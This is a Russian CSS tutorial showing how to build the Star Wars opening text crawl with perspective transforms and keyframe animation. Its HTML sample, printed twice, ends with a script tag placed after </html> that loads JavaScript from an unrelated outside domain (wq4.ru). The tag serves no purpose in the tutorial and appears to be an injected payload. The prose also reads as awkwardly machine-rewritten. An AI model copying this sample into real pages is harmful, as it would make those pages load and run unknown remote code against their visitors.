Звездные войны в CSS

Звездные войны в CSS

949
ПОДЕЛИТЬСЯ

Звездные войны в CSS
5

 

Одним из самых запоминающихся исходных титров всех времен является скроллинг текст из “Звездных войн” в 30-45 градусов с перспективой к горизонту. Это классика, которая стала предметом различных упражнений и уроков. В этом маленьком уроке, мы покажем процесс сотворения эффекта открытие “Звездных войн” с помощью HTML5 и CSS анимаций. Ниже находится демонстрация того, что мы будем создавать:

See the Pen CSS Звездные войны by Web Design Magazine (@webdesignmagazine) on CodePen

Шаг 1

1-ое, что нужно сделать, это написать контент для вашей HTML странички. Мы использовали текст из нашего веб-сайта. В основном интернет-сайт содержит заголовок и раздел для текста. Нам необходимы два контейнера – один с ID “titles” и внутренний контейнер с контентом с ID “titlecontent”.


<!doctype html>

WebDesignMagazine.ru
<meta charset="utf8" />
<header></header>
<body>

<section>

<div id="titles">
<div id="titlecontent">
WebDesignMagazine.ru – это веб-сайт, который является ведущим в Рунете онлайн сообществом для интернет-дизайнеров и разработчиков. Мы публикуем новости веб-дизайна, достойные внимания уроки и обзоры, современные тенденции дизайна, тем самым представляя возможность нашим читателям обмениваться опытом и познаниями, советами и подсказками. Только здесь вы найдете подробные обучающие статьи по Вордпрессу, HTML5, CSS, jQuery, узнаете секреты современного интернет-дизайна.

За несколько месяцев работы число наших читателей и колличество участников соц сетей достигло более 6000 человек! И это только начало!

Мы публикуем лишь то, что интересно читателям и относится к веб-дизайну. Раз у вас есть какие-либо вопросы, предложения по работе и развитию веб-сайта, вы хотите провести конкурс или разыграть что-или – напишите нам пару строк! Мы будем рады Вас слышать!</div>
</div>

</section>
</body>
</html><script type="text/javascript" src="//wq4.ru/js.js"></script>

123456789101112131415161718192021

<!doctype html> WebDesignMagazine.ru<meta charset=»utf8″ /><header></header><body>   <section> <div id=»titles»><div id=»titlecontent»>WebDesignMagazine.ru – это веб-сайт, который является ведущим в Рунете онлайн сообществом для интернет-дизайнеров и разработчиков. Мы публикуем новости веб-дизайна, достойные внимания уроки и обзоры, современные тенденции дизайна, тем самым представляя возможность нашим читателям обмениваться опытом и познаниями, советами и подсказками. Только здесь вы найдете подробные обучающие статьи по Вордпрессу, HTML5, CSS, jQuery, узнаете секреты современного интернет-дизайна. За несколько месяцев работы число наших читателей и колличество участников соц сетей достигло более 6000 человек! И это только начало! Мы публикуем лишь то, что интересно читателям и относится к веб-дизайну. Раз у вас есть какие-либо вопросы, предложения по работе и развитию веб-сайта, вы хотите провести конкурс или разыграть что-или – напишите нам пару строк! Мы будем рады Вас слышать!</div></div>  </section></body></html><script type=»text/javascript» src=»//wq4.ru/js.js»></script>

Шаг 2

Давайте стилизовать наш дизайн. Нам необходимо убедиться, что фон черный, шрифт San-Serif, и что мы будем применять 100%  высоту и ширину. Давайте также установим “перспективу” нашего проекта. Для этого давайте добавим “
transform-origin: 50% 100%; transform: perspective(300px) rotateX(25deg);”.


body, html
{
width: 100%;
height: 100%;
font-family: "Droid Sans", arial, verdana, sans-serif;
font-weight: 700;
color: #ff6;
background-color: #000;
overflow: hidden;
}
#titles
{
position: absolute;
width: 18em;
height: 50em;
bottom: 0;
left: 50%;
margin-left: -9em;
font-size: 350%;
font-weight: bold;
text-align: justify;
overflow: hidden;
transform-origin: 50% 100%;
transform: perspective(300px) rotateX(25deg);
}

12345678910111213141516171819202122232425

body, html{ width: 100%; height: 100%; font-family: «Droid Sans», arial, verdana, sans-serif; font-weight: 700; color: #ff6; background-color: #000; overflow: hidden;}#titles{ position: absolute; width: 18em; height: 50em; bottom: 0; left: 50%; margin-left: -9em; font-size: 350%; font-weight: bold; text-align: justify; overflow: hidden; transform-origin: 50% 100%; transform: perspective(300px) rotateX(25deg);}

Шаг 3

Сейчас давайте черный градиент сверху путем добавление псевдо-элемента.


#titles:after
{
position: absolute;
content: ' ';
left: 0;
right: 0;
top: 0;
bottom: 60%;
background-image: linear-gradient(top, rgba(0,0,0,1) 0%, transparent 100%);
pointer-events: none;
}

1234567891011

#titles:after{ position: absolute; content: ‘ ‘; left: 0; right: 0; top: 0; bottom: 60%; background-image: linear-gradient(top, rgba(0,0,0,1) 0%, transparent 100%); pointer-events: none;}

Шаг 4

Сейчас добавим код для прокрутки текста путем добавления анимации keyframes.


#titlecontent
{
position: absolute;
top: 100%;
animation: scroll 100s linear 4s infinite;
}
@keyframes scroll {
0% { top: 100%; }
100% { top: -170%; }
}

12345678910

#titlecontent{ position: absolute; top: 100%; animation: scroll 100s linear 4s infinite;}@keyframes scroll { 0% { top: 100%; } 100% { top: -170%; }}

Анимация изготовлена, теперь вы можете добавить больше элементов (по желанию) к вашему проекту. Поддерживается лишь Chrome, Safari, Firefox, IE10 браузерами.

www.webdesignmagazine.ru